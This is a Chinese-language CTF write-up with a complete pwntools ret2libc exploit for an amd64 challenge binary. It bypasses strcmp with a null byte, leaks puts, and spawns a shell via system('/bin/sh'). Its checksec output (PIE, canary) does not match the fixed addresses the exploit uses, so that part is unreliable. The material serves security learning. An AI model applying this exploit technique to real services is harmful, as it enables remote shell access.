checksec:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位开启了NX保护,可以用ret2libc的方法,首先泄露出puts的真实地址,然后调用system()即可。
开头会对输入的字符进行ctfshow()函数的处理,该函数的内容如下:

__int64 __fastcall ctfshow(const char *a1)
{
  return (unsigned int)strcmp(a1, "36D");
}

strcmp对接收的字符进行比较,遇到\x00会被截断,所以输入"36D"后,再输入'\x00',即可绕过字符串比较。最终exp如下:

from pwn import *

elf = ELF('./pwn')

local = 0
if local == 1:
    io = process('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('pwn.challenge.ctf.show',28175)
    libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
main_addr = elf.symbols['main']
rdi_addr = 0x0000000000400803
ret = 0x000000000040028a
payload = '36D\x00'+'a'*(0x380-4)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("qunzhu\n\n")
io.sendline(payload)
io.recvuntil("36D\n")
puts_addr = u64(io.recv(6)+'\x00\x00')

log.success("puts_addr:"+hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system'] 
bin_addr = libc_base + libc.search('/bin/sh').next()
payload2 = '36D\x00'+'a'*(0x380-4)+p64(0xdeadbeef)+p64(ret)+p64(rdi_addr)+p64(bin_addr)+p64(system_addr)
io.recvuntil("qunzhu\n\n")
io.sendline(payload2)

io.interactive()